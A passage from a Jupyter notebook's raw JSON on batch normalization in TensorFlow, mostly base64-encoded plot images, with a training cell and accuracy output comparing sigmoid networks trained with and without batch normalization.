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\nV1fT1NR0xLaSkhLWrFnTCaXqPH6MGTqOOy8vj8GDBxMOZ3ee81FScGoKcYLWp2C6tOrqaoqKihg+\nfPgRV+YfPHiQoqKiTipZ5/BjzNB+3KpKbW0t1dXVjBgxIqvj+mfuI7f5KGpJwXRxTU1N9O7d26Zq\nMUcQEXr37t1uLTJT/kkKbkdzTIM2bbbp8iwhmI6c6HfDf0nBagrGGNMh/yQFt/koISGbNtuYLH3p\nS1/iRz/6UXL5yiuv5NZbDw8gvOuuu3jooYfYvn071113HQBVVVXMn394EOI999zDgw8+eFLK89hj\nj7Fjx452t82YMYMRI0YwadIkxo4dy7333pvR8bZv337MfW6//fZjHquiooLy8sMj7JcuXdolrrz2\nT1Jwawq5uTlW9TYmSxdffDELFy4EIJFIsHfvXlatWpXcvnDhQqZMmcLAgQN5+umngSOTwsl0tKQA\n8P3vf5+qqiqqqqr41a9+xebNm495vGMlheOxe/du/vKXdqd0O6ZYLHbSynE8fDf6KCcnt5MLYszJ\nc+9zq1i9vT65HI/HCQZPrCY8bmAx3/rg+Ha3TZkyhS996UsArFq1igkTJrBjxw72799PQUEBa9as\n4dxzz2XLli184AMf4M033+Tuu++msbGRV199la9//esArF69moqKCrZu3cqdd97JF77wBQAeeugh\nHn30UQBuvfVW7rzzzuSxVq5cCcCDDz5IJBJhwoQJLF26lFtvvZUePXqwaNEi8vPz2y13a8drjx49\nAPj2t7/Nc889R2NjI1OmTOFnP/sZf/jDH1i6dCkf+9jHyM/PZ9GiRaxcuZIvfvGLNDQ0kJubyz/+\n8Q8Atm/fzrRp09i4cSPXXHMN3/ve99p9369+9at85zvfYfr06UeU57Of/SxLly4lFArx0EMPMXXq\nVB577DGeeeYZIpEI8Xice++9l29961uUlpayYsUKrr/+eiZOnMjDDz9MQ0MD8+bNY9SoUZn9w2bI\nRzUF5zqF3FxLCsZka+DAgYRCIbZu3crChQu56KKLuOCCC1i0aBFLly5l4sSJ5OQcvjg0JyeHb3/7\n29xwww1UVVVxww03ALB27VpeeOEFXn/9de69916i0ShvvPEGv/zlL3nttddYvHgx//d//8dbb73V\nYVmuu+46ysvL+fnPf05VVVW7CeGrX/0qkyZNYvDgwdx4443069cPgNtvv50lS5awcuVKGhsbef75\n55PHmzt3LlVVVQSDQW644QYefvhhli1bxosvvph8j6qqKp566ilWrFjBU089xbZt2454b4CLLrqI\nnJwcFixY0Gb9I488goiwYsUKnnjiCW655ZZk4nrzzTd5+umnefnllwFYtmwZs2fPZs2aNfz6179m\n/fr1vP7669x888385Cc/yfSfLmP+qSm4fQp5uXY1s+k+0n/Rn4ox+1OmTGHhwoUsXLiQL3/5y9TU\n1LBw4UJKSkq4+OKLMzrG+9//fnJzc8nNzaVfv37s2rWLV199lWuuuSb5a/7aa6/ln//8Jx/60Iey\nLuv3v/99rrvuOiKRCJdffnmyeWvBggV873vf49ChQ+zbt4/x48fzwQ9+sM1r161bx4ABAzj//PMB\nKC4uTm67/PLLKSkpAWDcuHG88847DBkyhPZ885vf5L777uOBBx5Irnv11Ve54447ABg7dizDhg1j\n/Xpn+rcrrriCXr16Jfc9//zzGTBgAACjRo3ife97HwDjx49n0aJFWX82HfFRTaE1KeR1ckGM6dpa\n+xVWrFjBhAkTuPDCC1m0aFHyhJuJ1Bp7MBg8avt5KBQikUgkl7MZg19YWEhFRQWvvvoqTU1NfO5z\nn+Ppp59mxYoVfOYznznuYx5P+S+77DIaGxtZvHhxRsduTYrtvVcgEEguBwIBT/odfJQUnA8vP8+a\nj4w5EVOmTOH555+nV69eBINBevXqxYEDB1i0aFG7SaGoqIiDBw8e87iXXHIJf/zjHzl06BANDQ08\n++yzXHLJJZSVlbF7925qa2tpbm7m+eefb3PsSCRyzGPHYjFee+01Ro0alUwAffr0IRKJJDvE08s6\nZswYduzYwZIlSwCnFpbtSfib3/xmm36HSy65hLlz5wKwfv16tm7dypgxY7I69snmm6SgbvNRgSUF\nY07IxIkT2bt3LxdeeGGbdSUlJfTp0+eI/adOncrq1auZNGkSTz31VIfHPffcc5kxYwaTJ0/mggsu\n4NZbb+Wcc84hHA5z9913M3nyZK644grGjh2bfM2MGTO48847mTRpEo2NjUccs7VP4ayzzmLixIlc\ne+21lJaW8pnPfIYJEyZw5ZVXJpuHWo932223MWnSJOLxOE899RR33HEHZ599NldccUXWVwpfddVV\n9O3bN7n8uc99jkQiwcSJE7nhhht47LHHTp/+TlX17AFMA9YBG4BZ7WwfCywCmoGvZHLM8847T7Nx\nqOpZ1W8V69PPz8/q9V3ZggULOrsIp1x3jnn16tUdbquvrz+FJTk9+DFm1aPH3d53BFiqGZxjPasp\niEgQeASYDowDbhKRcWm77QO+AJycK1mO4lBzMwA98k+TbGyMMachL5uPJgMbVHWTqrYATwJXp+6g\nqrtVdQkQ9bAcAOztdS4zWr5GsNcwr9/KGGO6LC+HpA4CUgfvVgMXZHMgEZkJzAQoKyujsrLyuI+x\npjZOZWISF2zcQvhA+2OKu6tIJJLVZ9aVdeeYS0pKOuy4jcfjGXXqdid+jBmOHndTU1PW3/8ucZ2C\nqs4B5gCUl5drNvOHNK7YAUve5NKLzmfcwOJjv6Abqays7BJzrpxM3TnmNWvWdHgtgh/vLeDHmOHo\ncefl5XHOOedkdVwvm49qgNSrOQa76zrF6LIiPvKuMANL7ToFY4zpiJdJYQkwWkRGiEgOcCMwz8P3\nO6oz+hXy/pE5lBbYFc3GGNMRz5KCqsaA24EXgDXA71R1lYjcJiK3AYhIfxGpBr4MfFNEqkXEX207\nxnQhp3Lq7OHDhzNx4kQmTZrExIkT+dOf/nTM13z3u9895j4zZsxoc8FaR0SEu+66K7n84IMPcs89\n9xzzdV2dpxevqep8VX2Xqo5S1e+462ar6mz3+U5VHayqxapa6j6vP/pRjTGd5VRPnb1gwQKqqqp4\n+umnkzOpHk0mSSFTubm5PPPMM+zduzer13fW1Ncnqkt0NBtjOvCXWbBzRXIxPx6D4An+t+4/Eabf\n3+4mr6fO7kh9fT09e/ZMLn/4wx9m27ZtNDU18e///u984QtfYNasWTQ2NjJp0iTGjx/P3Llzefzx\nx3nwwQcREc466yx+/etfA/DKK6/w0EMPsXPnTr73ve8lazWpQqEQM2fO5Ic//CHf+c532mzbsmUL\nn/rUp9i7dy99+/bll7/8JUOHDmXGjBnk5eXx1ltvcfHFF1NcXMzmzZvZtGkTW7du5Yc//CGLFy/m\nL3/5C4MGDeK5554jHD697gTpm2kujDEnzsups9szdepUJkyYwKWXXsp9992XXP/oo4/yxhtvsHTp\nUmbPnk1tbS33338/+fn5VFVVMXfuXFatWsV9993HSy+9xLJly3j44YeTr9+xYwevvvoqzz//PLNm\nzeow3s9//vPMnTuXurq6NuvvuOMObrnlFpYvX87HPvaxNkmturqahQsX8tBDDwGwceNGXnrpJebN\nm8fHP/5xpk6dyooVK8jPz+fPf/7zcXz6p4bVFIzpytJ+0Td24amzBw8efMR+CxYsoE+fPmzcuJHL\nL7+ciooKCgsL+fGPf8yzzz4LQE1NDW+//Ta9e/du89qXXnqJj3zkI8n5mFKno/7whz9MIBBg3Lhx\n7Nq1q8NyFhcXc/PNN/PjH/+4zf0aFi1axDPPPAPAJz7xCb72ta8lt33kIx9pc6Oj6dOnEw6HmThx\nIvF4nGnTpgHOfFFbtmzJ6PM6lSwpGGOOS/rU2UOGDOEHP/gBxcXFfPKTn8zoGMcz9TQ49xEoKytj\n9erVHDp0iBdffJFFixZRUFDAJZdcckJTXzvTAnXszjvv5Nxzz804to6mvg4EAoTD4eTtgL2a+vpE\nWfORMea4eDV19tHs3r2bzZs3M2zYMOrq6ujZsycFBQWsXbs2ObU1QDgcTjZFXXbZZfz+97+ntrYW\ngH379mX13r169eL666/nF7/4RXLdlClTePLJJwGYO3cul1xySbahnXYsKRhjjotXU2e3Z+rUqUya\nNImpU6dy//33U1ZWxrRp04jFYpx55pnMmjWrzdTXM2fO5KyzzuJjH/sY48eP5xvf+AaXXnopZ599\nNl/+8pezjvmuu+5qMwrpJz/5Cb/85S+Tndep/RVdnRyr6nS6KS8v16VLl2b12u489cHR+DHu7hzz\nmjVrOPPMM9vd5scpH/wYMxw97va+IyLyhqqWH+u4VlMwxhiTZEnBGGNMkiUFY7qgrtbsa06dE/1u\nWFIwpovJy8ujtrbWEoM5gqpSW1tLXl72s0HbdQrGdDGDBw+murqaPXv2HLGtqanphE4IXZEfY4aO\n487Ly2v3QsBMWVIwposJh8OMGDGi3W2VlZVZ31ylq/JjzOBd3J42H4nINBFZJyIbROSICUbE8WN3\n+3IROdfL8hhjjDk6z5KCiASBR4DpwDjgJhEZl7bbdGC0+5gJ/NSr8hhjjDk2L2sKk4ENqrpJVVuA\nJ4Gr0/a5GnhcHYuBUhEZ4GGZjDHGHIWXfQqDgG0py9XABRnsMwjYkbqTiMzEqUkARERkXZZl6gNk\nd8eMrs2PcfsxZvBn3H6MGY4/7mGZ7NQlOppVdQ4w50SPIyJLM7nMu7vxY9x+jBn8GbcfYwbv4vay\n+agGGJKyPNhdd7z7GGOMOUW8TApLgNEiMkJEcoAbgXlp+8wDbnZHIV0I1KnqjvQDGWOMOTU8az5S\n1ZiI3A68AASBR1V1lYjc5m6fDcwHrgI2AIeAzO5ikb0TboLqovwYtx9jBn/G7ceYwaO4u9zU2cYY\nY7xjcx8ZY4xJsqRgjDEmyTdJ4VhTbpzuRORREdktIitT1vUSkb+LyNvu354p277uxrpORK5MWX+e\niKxwt/1Y3LuIi0iuiDzlrn9NRIafyvjaIyJDRGSBiKwWkVUi8kV3fXePO09EXheRZW7c97rru3Xc\n4MyEICJvicjz7rIfYt7ilrdKRJa66zovblXt9g+cju6NwEggB1gGjOvsch1nDO8BzgVWpqz7HjDL\nfT4LeMB9Ps6NMRcY4cYedLe9DlwICPAXYLq7/nPAbPf5jcBTp0HMA4Bz3edFwHo3tu4etwCF7vMw\n8Jpb9m4dt1uWLwO/BZ73w3fcLcsWoE/auk6Lu9M/kFP0oV8EvJCy/HXg651driziGE7bpLAOGOA+\nHwCsay8+nBFgF7n7rE1ZfxPws9R93OchnCslpbNjTov/T8AVfoobKADexJkNoFvHjXOd0j+Ayzic\nFLp1zG5ZtnBkUui0uP3SfNTRdBpdXZkevq5jJ1DmPu8o3kHu8/T1bV6jqjGgDujtTbGPn1vlPQfn\nV3O3j9ttRqkCdgN/V1U/xP0j4GtAImVdd48ZQIEXReQNcab0gU6Mu0tMc2GOTVVVRLrl+GIRKQT+\nANypqvVuUynQfeNW1TgwSURKgWdFZELa9m4Vt4h8ANitqm+ISEV7+3S3mFO8W1VrRKQf8HcRWZu6\n8VTH7ZeaQnedTmOXuLPKun93u+s7irfGfZ6+vs1rRCQElAC1npU8QyISxkkIc1X1GXd1t4+7laoe\nABYA0+jecV8MfEhEtuDMqHyZiPyG7h0zAKpa4/7dDTyLM8N0p8Xtl6SQyZQbXdE84Bb3+S04be6t\n6290Rx2MwLlfxetudbReRC50RybcnPaa1mNdB7ykbiNkZ3HL+Atgjao+lLKpu8fd160hICL5OP0o\na+nGcavq11V1sKoOx/n/+ZKqfpxuHDOAiPQQkaLW58D7gJV0Ztyd3clyCjtzrsIZvbIR+EZnlyeL\n8j+BM6V4FKe98NM47YL/AN4GXgR6pez/DTfWdbijENz15e6XbiPwPxy+qj0P+D3OlCOvAyNPg5jf\njdPeuhyoch9X+SDus4C33LhXAne767t13CllruBwR3O3jhlnROQy97Gq9dzUmXHbNBfGGGOS/NJ8\nZIwxJgOWFIwxxiRZUjDGGJNkScEYY0ySJQVjjDFJlhRMlyYivd3ZJatEZKeI1KQs52R4jF+KyJhj\n7PN5EfnYySl1u8e/VkTGenV8YzJlQ1JNtyEi9wARVX0wbb3gfNcT7b7wNOBevfu0qv6xs8ti/M1q\nCqZbEpEzxLkPw1yci4IGiMgcEVkqzj0K7k7Z91URmSQiIRE5ICL3i3Mvg0XufDSIyH0icmfK/veL\nc8+DdSIyxV3fQ0T+4L7v0+57TWqnbN9391kuIg+IyCU4F+X90K3hDBeR0SLygjtJ2isi8i73tb8R\nkZ+669eLyHR3/UQRWeK+frmIjPT6Mzbdk02IZ7qzscDNqtp645JZqrrPnf9lgYg8raqr015TArys\nqrNE5CHgU8D97RxbVHWyiHwIuBtnbqI7gJ2q+m8icjbOlNdtXyRShpMAxquqikipqh4Qkfmk1BRE\nZAFwq6puFJGLca5QfZ97mCHA+ThTHLwoImfgzJn/oKo+JfL/27tj2BqjMIzj/6cRlqqZhUhqbIwG\nDBarDkStEkYRq8FqFIOIDZNEY2ijkRiZkBg0RA0iYREGEVTkMbyn1+dqKbk19D6/5CZnON/9zpfc\ne9973nPyHm2iaupH/LUEhVjPXiwFhGZK0nHqc7+NOrCkPyh8sn27tR8C+1Z47+lOnx2tvRc4D2D7\nsaQny1z3jioNfUXSLDDT36HVPdoD3NSPirDd7+qNlgp7JukVFRzuA2clbQembS+sMO6I30r6KNaz\nj0sNSePAKeCA7QlgjqoJ02+x0/7Gyn+cvqyizy9sf6Vq1NwCDgGzy3QT8Nb27s6rWzq7fyHQtq8B\nk21cc5L2r3ZMEV0JCjEsxoAPVCXJrcDBP/T/F/eAI1A5fmom8pNWEXPM9gxwmjo4iDa2zQC23wNv\nJClj+fYAAADFSURBVE22a0ZaOmrJYZVdVCrpuaSdthdsX6BmHxNr8HwxBJI+imHxiEoVPQVeUj/g\ng3YRuCppvt1rnjrlqmsLMN3y/iPUmcRQVXAvSzpDzSCOApfajqqNwHWqkiZUffwHwChwwvaipGOS\npqgquq+Bc2vwfDEEsiU1YkDaAvYG259buuoOMO46AnFQ98jW1VhTmSlEDM4ocLcFBwEnBxkQIv6H\nzBQiIqInC80REdGToBARET0JChER0ZOgEBERPQkKERHR8x2S+HysbSK9rwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa77bc9048>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 2, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Once again, using a sigmoid activation function with the larger learning rate works well both with and without batch normalization.\n", "\n", "However, look at the plot below where we train models with the same parameters but only 2000 iterations. As usual, batch normalization lets it train faster. " ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:01<00:00, 1170.27it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9383997917175293\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:04<00:00, 495.04it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9573997259140015\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9360001087188721\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9524001479148865\n" ] }, { "data": { "image/png": "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\n/cc